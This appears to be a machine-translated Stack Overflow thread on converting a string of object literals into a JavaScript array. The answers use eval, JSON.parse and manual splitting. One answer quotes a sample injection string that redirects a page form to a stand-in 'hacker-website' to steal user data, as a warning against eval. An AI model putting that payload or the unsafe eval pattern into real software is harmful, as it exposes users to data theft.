2017-06-16 153 views
0

我想將字符串變量轉換爲數組。在下面的例子中,字符串的每個「行」都由{}限定,數組中應該有三行。我一直在嘗試正則表達式(我認爲這是一條路),但我無法正確理解。從變量構建數組

我:

var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', 
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 
'data9'}"; 

我想:

var dest = [ {col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', 
col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'} 
]; 

我想:

var srow = data.src(/{/); 
var erow = data.src(/}/)+1; 
var row = src.substring(srow, erow); 
alert(row); //add to array and repeat : srow = erow+1.... 

任何幫助表示讚賞!

回答

0

我不會假裝知道你從哪裏得到這樣的數據,但理想情況下,你不會將一組數據存儲爲字符串。也就是說,你可以使用正則表達式來替換括號([]),然後dangerouslyeval它變成一個變量的字符串的開始和結束。

const arr = eval(src.replace(/^/, '[').replace(/$/, ']')) 

希望這有助於!

+0

我沒有看到所引用的頁面上的任何東西來證明 「危險」。 – RobG

+0

正確的想法,但使用正則表達式將字符添加到字符串的開頭和結尾並不是最好的方法。 – 2017-06-16 01:55:15

+1

@RobG _eval()是一個危險的函數_ ... –

0

如果字符串正確地遵守JSON格式,您將可以使用JSON.parse(src)來完成此操作。

既然你接受的不是JSON數據別的東西的數組,如果你絕對需要將其從該點進行轉換,兩害取其輕很可能會直接使用eval這樣的:

var dst = eval('[' + src + ']'); 

然而,它有安全問題,如果用戶輸入可以在用戶之間共享(如果用戶決定將該行插入到您的系統中,該怎麼辦:"'}]; document.forms[0].action="hacker-website/steal_your_infos.php'; ["?)

我不認爲您的項目被打破以證明轉換字符串的理由是eval 。我的建議是:嘗試修復它發送這個損壞的數據並使其發送至少一個有效的字符串化JSON。

更好的是,讓它發送一個JSON對象。

例如,這可能是由事發一個有效的JSON對象:現在

{ 
    "rows": [ 
     { 
     "col1": "data1", 
     "col2": "data2", 
     "col3": "data3" 
     }, 
     { 
     "col1": "data4", 
     ... 
     } 
    ] 
} 

試圖破解整個事情解決斷開的數據可能會嚴重傷害您的項目,請修復它,而你仍然可以。

希望這會有所幫助。

0

我希望這會有所幫助。

這裏查看示例... https://jsfiddle.net/xombie/cL8qbdb4/

javascript函數

function run(){ 
var src = "{col1: 'data1', col2: 'data2', col3: 'data3'}, {col1: 'data4', col2: 'data5', col3: 'data6'}, {col1: 'data7', col2: 'data8', col3: 'data9'}"; 

var srow = src.split('{').join(''); 
var erow = srow.split('},'); 
var dest= []; 
for(var i= 0, len = erow.length; i < len; i++){ 
    var mainobj = []; 
    erow[i] = erow[i].replace('}', ''); 
    erow[i] = erow[i].split(','); 
    for(var x= 0, len2 = erow[i].length; x < len2; x++){ 
    erow[i][x] = erow[i][x].split("'").join(''); 
    erow[i][x] = erow[i][x].split(" ").join(''); 
    erow[i][x] = erow[i][x].split(':'); 
    mainobj[erow[i][x][0]] = erow[i][x][1]; 
    } 
    dest.push(mainobj); 
} 
console.log(dest); 
}